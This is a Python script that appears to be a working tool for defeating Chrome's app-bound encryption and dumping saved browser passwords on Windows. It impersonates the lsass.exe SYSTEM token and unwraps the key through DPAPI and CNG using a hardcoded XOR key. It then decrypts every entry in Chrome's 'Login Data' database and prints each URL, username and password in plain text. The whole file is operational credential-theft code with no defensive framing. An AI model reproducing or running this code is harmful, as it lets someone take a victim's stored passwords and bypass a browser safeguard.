main.py

import os
import io
import json
import struct
import ctypes
import sqlite3
import binascii
import shutil
from contextlib import contextmanager
import windows
import windows.generated_def as gdef
import windows.crypto
from Crypto.Cipher import AES

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin() != 0
    except:
        return False

@contextmanager
def impersonate_lsass():
    original_token = windows.current_thread.token
    try:
        windows.current_process.token.enable_privilege("SeDebugPrivilege")
        proc = next(p for p in windows.system.processes if p.name == "lsass.exe")
        lsass_token = proc.token
        impersonation_token = lsass_token.duplicate(
            type=gdef.TokenImpersonation,
            impersonation_level=gdef.SecurityImpersonation
        )
        windows.current_thread.token = impersonation_token
        yield
    finally:
        windows.current_thread.token = original_token

def parse_key_blob(blob_data: bytes) -> dict:
    buffer = io.BytesIO(blob_data)
    parsed_data = {}

    header_len = struct.unpack('<I', buffer.read(4))[0]
    parsed_data['header'] = buffer.read(header_len)
    content_len = struct.unpack('<I', buffer.read(4))[0]
    assert header_len + content_len + 8 == len(blob_data)
    
    parsed_data['flag'] = buffer.read(1)[0]
    
    if parsed_data['flag'] == 3:
        parsed_data['encrypted_aes_key'] = buffer.read(32)
        parsed_data['iv'] = buffer.read(12)
        parsed_data['ciphertext'] = buffer.read(32)
        parsed_data['tag'] = buffer.read(16)
    else:
        raise ValueError(f"Unsupported flag: {parsed_data['flag']}")

    return parsed_data

def decrypt_with_cng(input_data):
    ncrypt = ctypes.windll.NCRYPT
    hProvider = gdef.NCRYPT_PROV_HANDLE()
    provider_name = "Microsoft Software Key Storage Provider"
    status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name, 0)
    assert status == 0, f"NCryptOpenStorageProvider failed with status {status}"

    hKey = gdef.NCRYPT_KEY_HANDLE()
    key_name = "Google Chromekey1"
    status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name, 0, 0)
    assert status == 0, f"NCryptOpenKey failed with status {status}"

    pcbResult = gdef.DWORD(0)
    input_buffer = (ctypes.c_ubyte * len(input_data)).from_buffer_copy(input_data)

    status = ncrypt.NCryptDecrypt(
        hKey,
        input_buffer,
        len(input_buffer),
        None,
        None,
        0,
        ctypes.byref(pcbResult),
        0x40
    )
    assert status == 0, f"1st NCryptDecrypt failed with status {status}"

    buffer_size = pcbResult.value
    output_buffer = (ctypes.c_ubyte * pcbResult.value)()

    status = ncrypt.NCryptDecrypt(
        hKey,
        input_buffer,
        len(input_buffer),
        None,
        output_buffer,
        buffer_size,
        ctypes.byref(pcbResult),
        0x40
    )
    assert status == 0, f"2nd NCryptDecrypt failed with status {status}"

    ncrypt.NCryptFreeObject(hKey)
    ncrypt.NCryptFreeObject(hProvider)

    return bytes(output_buffer[:pcbResult.value])

def derive_v20_master_key(parsed_data: dict) -> bytes:
    if parsed_data['flag'] == 3:
        xor_key = bytes.fromhex("CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390")
        with impersonate_lsass():
            decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key'])
        xored_aes_key = bytes([_a ^ _b for _a, _b in zip(decrypted_aes_key, xor_key)])
        cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
        return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])
    else:
        raise ValueError(f"Unsupported flag: {parsed_data['flag']}")

def decrypt_password(encrypted_password, master_key):
    if not encrypted_password or not isinstance(encrypted_password, bytes):
        return ""
    
    if encrypted_password.startswith(b'v20'):
        try:
            if len(encrypted_password) < 31:
                return f"Invalid v20 data length: {len(encrypted_password)}"
                
            iv = encrypted_password[3:15]
            ciphertext = encrypted_password[15:-16]
            tag = encrypted_password[-16:]
            
            cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)
            decrypted = cipher.decrypt_and_verify(ciphertext, tag)
            if len(decrypted) > 32:
                return decrypted[32:].decode('utf-8', errors='ignore')
            else:
                return decrypted.decode('utf-8', errors='ignore')
                
        except Exception as e:
            return f"v20 decryption failed: {str(e)}"
    else:
        return f"Unsupported encryption format: {encrypted_password[:10] if len(encrypted_password) >= 10 else 'too short'}"

def get_master_key():
    user_profile = os.environ['USERPROFILE']
    local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
    
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = json.load(f)

    app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
    assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
    key_blob_encrypted = binascii.a2b_base64(app_bound_encrypted_key)[4:]
    
    with impersonate_lsass():
        key_blob_system_decrypted = windows.crypto.dpapi.unprotect(key_blob_encrypted)

    key_blob_user_decrypted = windows.crypto.dpapi.unprotect(key_blob_system_decrypted)
    
    parsed_data = parse_key_blob(key_blob_user_decrypted)
    return derive_v20_master_key(parsed_data)

def main():
    user_profile = os.environ['USERPROFILE']
    login_data_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Default\Login Data"
    
    output_lines = []
    
    def save_output(text):
        print(text)
        output_lines.append(text)
    
    save_output("Getting master key...")
    try:
        master_key = get_master_key()
        save_output(f"Master key obtained: {binascii.hexlify(master_key)[:32]}...")
    except Exception as e:
        save_output(f"Failed to get master key: {e}")
        return

    save_output("Reading password database...")
    try:
        temp_db_path = "temp_login_data.db"
        shutil.copy2(login_data_path, temp_db_path)
        
        con = sqlite3.connect(temp_db_path)
        cur = con.cursor()
        cur.execute("""
            SELECT 
                origin_url, 
                username_value, 
                password_value, 
                date_created, 
                date_last_used,
                date_password_modified 
            FROM logins
        """)
        
        logins = cur.fetchall()
        con.close()
        os.remove(temp_db_path)
        
    except Exception as e:
        save_output(f"Failed to read password database: {e}")
        save_output("Please make sure Chrome is closed and try again.")
        return

    save_output(f"\nFound {len(logins)} saved passwords:")
    save_output("=" * 100)
    
    success_count = 0
    
    for login in logins:
        origin_url, username, encrypted_password, date_created, date_last_used, date_modified = login
        password = decrypt_password(encrypted_password, master_key)
        if password and not password.startswith("v20 decryption failed") and not password.startswith("Unsupported"):
            success_count += 1
            save_output(f"URL: {origin_url}")
            save_output(f"Username: {username}")
            save_output(f"Password: {password}")
            save_output("-" * 50)
        else:
            if encrypted_password:
                enc_type = "Unknown"
                if isinstance(encrypted_password, bytes):
                    if encrypted_password.startswith(b'v20'):
                        enc_type = "v20"
                    else:
                        enc_type = f"Other (length: {len(encrypted_password)})"
                save_output(f"[SKIPPED] {origin_url} - Encryption: {enc_type}, Error: {password}")
    print("Decryption complete")
if __name__ == "__main__":
    if not is_admin():
        print("This script needs to run as administrator.")
    else:
        main()